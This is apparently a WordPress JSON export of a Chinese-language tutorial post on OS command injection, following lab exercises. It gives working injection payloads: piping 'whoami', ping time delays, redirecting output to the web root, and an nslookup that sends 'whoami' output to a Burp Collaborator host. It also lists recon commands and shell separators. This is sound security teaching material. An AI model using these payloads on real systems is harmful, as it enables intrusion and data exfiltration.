{"id":1189,"date":"2023-02-03T19:56:00","date_gmt":"2023-02-03T11:56:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1189"},"modified":"2025-08-21T16:50:29","modified_gmt":"2025-08-21T08:50:29","slug":"os-command-injection","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1189","title":{"rendered":"OS command injection"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4f5c\u696d\u7cfb\u7d71\u547d\u4ee4\u6ce8\u5165\u4e5f\u7a31\u70ba shell \u6ce8\u5165\u3002\u5b83\u5141\u8a31\u653b\u64ca\u8005\u5728\u904b\u884c\u61c9\u7528\u7a0b\u5f0f\u7684\u4f3a\u670d\u5668\u4e0a\u57f7\u884c\u4f5c\u696d\u7cfb\u7d71 (OS) \u547d\u4ee4<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u6709\u4e9b\u670d\u52d9\u5668\u6703\u6839\u64da\u4f7f\u7528\u8005\u63d0\u4ea4\u53c3\u6578\u5728\u57f7\u884c\u7279\u5b9a\u6307\u4ee4\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;insecure-website.com\/stockStatus?productID=381&amp;storeID=29<\/code><\/pre>\n\n\n\n<p>\u5c31\u6703\u8b93\u670d\u52d9\u5668\u57f7\u884c<code>stockreport.pl 381 29<\/code><\/p>\n\n\n\n<p>\u5982\u679c\u6c92\u6709\u91dd\u5c0d\u4f5c\u696d\u7cfb\u7d71\u547d\u4ee4\u6ce8\u5165\u9032\u884c\u9632\u79a6\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u653b\u64ca\u8a9e\u6cd5\u57f7\u884c\u4efb\u610f\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;insecure-website.com\/stockStatus?productID=381&amp;storeID=29|whoami<\/code><\/pre>\n\n\n\n<p>\u76ee\u6a19\u670d\u52d9\u5668\u5c07\u57f7\u884c<code>stockreport.pl 381 29|whoami<\/code>\uff0c\u7136\u5f8c\u8fd4\u56de\u5167\u5bb9\u5c31\u662f\u986f\u793awhoami\u7684\u57f7\u884c\u7d50\u679c<\/p>\n\n\n\n<p>Lab: OS command injection, simple case<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee5\u4e0b\u662f\u5e38\u898b\u7684\u547d\u4ee4<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><th>\u547d\u4ee4\u7684\u76ee\u7684<\/th><th>Linux<\/th><th>windows<\/th><\/tr><tr><td>\u76ee\u524d\u4f7f\u7528\u8005\u540d\u7a31<\/td><td><code>whoami<\/code><\/td><td><code>whoami<\/code><\/td><\/tr><tr><td>\u4f5c\u696d\u7cfb\u7d71<\/td><td><code>uname -a<\/code><\/td><td><code>ver<\/code><\/td><\/tr><tr><td>\u7db2\u8def\u8a2d\u5b9a<\/td><td><code>ifconfig<\/code><\/td><td><code>ipconfig \/all<\/code><\/td><\/tr><tr><td>\u7db2\u8def\u9023\u7dda<\/td><td><code>netstat -an<\/code><\/td><td><code>netstat -an<\/code><\/td><\/tr><tr><td>\u6b63\u5728\u904b\u884c\u7684\u9032\u7a0b<\/td><td><code>ps -ef<\/code><\/td><td><code>tasklist<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee5\u4e0b\u662f\u5e38\u898b\u7684\u547d\u4ee4\u5206\u9694\u7b26<\/h3>\n\n\n\n<p>\u9069\u7528\u65bcWindows\u548c\u57fa\u65bcUnix \u7684\u7cfb\u7d71\uff1a<code>&amp;<\/code>\uff0c<code>&amp;&amp;<\/code>\uff0c<code>|<\/code>\uff0c<code>||<\/code><\/p>\n\n\n\n<p>\u53ea\u9069\u7528\u65bc\u57fa\u65bcUnix \u7684\u7cfb\u7d71\uff1a<code>;<\/code>\uff0c <code>\\n<\/code> \uff0c <code>0x0a<\/code><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">blind OS command injection<\/h2>\n\n\n\n<p>\u5927\u90e8\u4efd\u4f5c\u696d\u7cfb\u7d71\u547d\u4ee4\u6ce8\u5165\u90fd\u662f\u5c6c\u65bc\u76f2\u6ce8\u3002\u9019\u610f\u5473\u8457\u61c9\u7528\u7a0b\u5f0f\u4e0d\u6703\u5728 HTTP \u56de\u61c9\u4e2d\u50b3\u56de\u547d\u4ee4\u7684\u8f38\u51fa\u7d50\u679c\uff0c\u56e0\u6b64\u9700\u8981\u4f7f\u7528\u4e0d\u540c\u7684\u65b9\u6cd5\uff0c\u5e38\u898b\u7684\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7528\u6642\u9593\u5ef6\u9072\u6e2c\u8a66\u76f2\u6ce8<\/li>\n\n\n\n<li>\u7528\u91cd\u5b9a\u5411\u8f38\u51fa\u6e2c\u8a66\u76f2\u6ce8<\/li>\n\n\n\n<li>\u7528OAST\u6e2c\u8a66\u76f2\u6ce8<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u7528\u6642\u9593\u5ef6\u9072\u6e2c\u8a66\u76f2\u6ce8<\/h2>\n\n\n\n<p>\u53ef\u4ee5\u7528\u7b49\u5f85\u6642\u9593\u4f86\u5224\u65b7\u662f\u5426\u76f2\u6ce8<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u4fee\u6539\u8acb\u6c42\u53c3\u6578\uff0c\u52a0\u5165ping 10\u6b21\u7684\u547d\u4ee4\uff0c\u7576\u5b8c\u6210\u5f8c\u7db2\u7ad9\u624d\u6703\u8fd4\u56de\u7d50\u679c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>email=x||ping+-c+10+127.0.0.1||<\/code><\/pre>\n\n\n\n<p>\u5047\u598210\u79d2\u5f8c\u624d\u8fd4\u56de\u7d50\u679c\uff0c\u4ee3\u8868\u5b58\u5728\u6f0f\u6d1e <\/p>\n\n\n\n<p>Lab: Blind OS command injection with time delays<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u7528\u91cd\u5b9a\u5411\u8f38\u51fa\u6e2c\u8a66\u76f2\u6ce8<\/h2>\n\n\n\n<p>\u53ef\u4ee5\u5c07\u76f2\u6ce8\u7d50\u679c\u8f38\u51fa\u5230\u53ef\u8b80\u53d6\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u4fee\u6539\u8acb\u6c42\u53c3\u6578\uff0c\u5c07whoami\u7d50\u679c\u8f38\u51fa\u5230\u7db2\u7ad9\u76ee\u9304\u7684output.txt\u5167<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>email=||whoami&gt;\/var\/www\/images\/output.txt||<\/code><\/pre>\n\n\n\n<p>\u5047\u5982\u8a2a\u554f\u7db2\u7ad9images\/output.txt\u53ef\u770b\u5230\u7d50\u679c\uff0c\u4ee3\u8868\u5b58\u5728\u6f0f\u6d1e <\/p>\n\n\n\n<p>Lab: Blind OS command injection with output redirection<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u7528OAST\u6e2c\u8a66\u76f2\u6ce8<\/h2>\n\n\n\n<p>\u53ef\u4ee5\u4f7f\u7528out-of-band\u7684\u65b9\u5f0f\u6e2c\u8a66\u53ef\u5426\u89f8\u53ca\u5916\u7db2<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u4fee\u6539\u8acb\u6c42\u53c3\u6578\uff0c\u4f7f\u7528nslookup\u67e5\u8a62\u5916\u7db2\u7db2\u5740<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>email=x||nslookup+x.burpcollaborator.net||<\/code><\/pre>\n\n\n\n<p>\u5982\u679cx.burpcollaborator.net\u7684dns\u6709\u8a18\u9304\u5230\u67e5\u8a62\u884c\u70ba\uff0c\u4ee3\u8868\u5b58\u5728\u6f0f\u6d1e <\/p>\n\n\n\n<p>Lab: Blind OS command injection with out-of-band interaction<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4e5f\u53ef\u4ee5\u900f\u904eDNS\u901a\u9053\uff0c\u628a\u7d50\u679c\u5229\u7528\u67e5\u8a62\u5167\u5bb9\u50b3\u51fa\u53bb<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u628awhoami\u7684\u7d50\u679c\u7576\u505a\u5b50\u7db2\u57df\uff0c\u900f\u904enslookup\u67e5\u8a62<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>email=||nslookup+`whoami`.x.burpcollaborator.net||<\/code><\/pre>\n\n\n\n<p>x.burpcollaborator.net\u7684dns\u7684\u8a18\u9304\u5c31\u6703\u67e5\u5230\u4e00\u500b\u542b\u6709whoami\u547d\u4ee4\u7d50\u679c\u7684\u5167\u5bb9<\/p>\n\n\n\n<p>Lab: Blind OS command injection with out-of-band data exfiltration<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u4f5c\u696d\u7cfb\u7d71\u547d\u4ee4\u6ce8\u5165\u4e5f\u7a31\u70ba shell \u6ce8\u5165\u3002\u5b83\u5141\u8a31\u653b\u64ca\u8005\u5728\u904b\u884c &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1189","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1189"}],"version-history":[{"count":1,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1189\/revisions"}],"predecessor-version":[{"id":2700,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1189\/revisions\/2700"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}